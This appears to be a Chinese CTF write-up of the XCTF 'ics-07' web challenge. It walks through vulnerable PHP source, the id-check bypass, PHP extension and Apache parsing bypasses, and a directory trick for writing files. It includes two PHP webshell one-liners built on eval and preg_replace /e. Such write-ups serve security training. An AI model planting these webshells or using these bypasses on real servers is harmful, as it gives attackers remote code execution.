【攻防世界】ics-07

php 复制代码
<?php
session_start();

if (!isset($_GET[page])) {
  show_source(__FILE__);
  die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
  include('flag.php');
}else {
  header('Location: ?page=flag.php');
}
php 复制代码
<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
           die("Bad file extension");
       }else{
           chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
?>  //文件上传

(1)if ($_SESSION'admin'):判断 session 中的 admin 是否有值。有的话就继续向下执行。

session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。 用于存储关于用户会话的信息。

(2) preg_match('/.+\.ph(p3457?|t|tml)/i', filename):

.+:匹配一个或多个任意字符

匹配 ".php"、".php3"、".php4"、".php5"、".php7"、".phpt" 或 ".phtml" 结尾的文件名 。

chdir() 函数:改变当前的目录。

php 复制代码
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')             
      {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
?> //如果查询正确,会得到一个admin的session

(1)floatval(_GET\[id\]) !== '1' \&\& substr(_GETid, -1) === '9':

floatval为浮点数,肯定与字符串不相等;第一个要为1,最后一个数字要为9。

floatval 函数:

用于获取变量的浮点值。从左到右,碰到不是数字(第一个小数点可以)就截止。
mysqli_real_escape_string() 函数:

转义在 SQL 语句中使用的字符串中的特殊字符。去掉双引号、单引号,防止sql注入。

php文件后缀绕过:

(1)php的解释器绕过

php、php3、php4、php5、php7、phtml、pht、phs、shtml、pwml

(2)apache2.x解析漏洞(从右至左找)

1.php.1 或者 1.php/.

/.表示调用1.php文件本身 。一个点调用最后面的文件,两个点调用第一个文件。
一句话木马:

php 复制代码
 <?php @preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>
php 复制代码
<?php eval($_POST['a']) ?>

下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹

Web安全攻防世界09 ics-07(XCTF)-CSDN博客

相关推荐
两个人的幸福9 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
zzzzzz3109 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820712 天前
PHP 扩展——从入门到理解
php
鹏仔先生13 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
大树8813 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
小宇宙Zz13 天前
Maven依赖冲突
java·服务器·maven
云水一下13 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip13 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua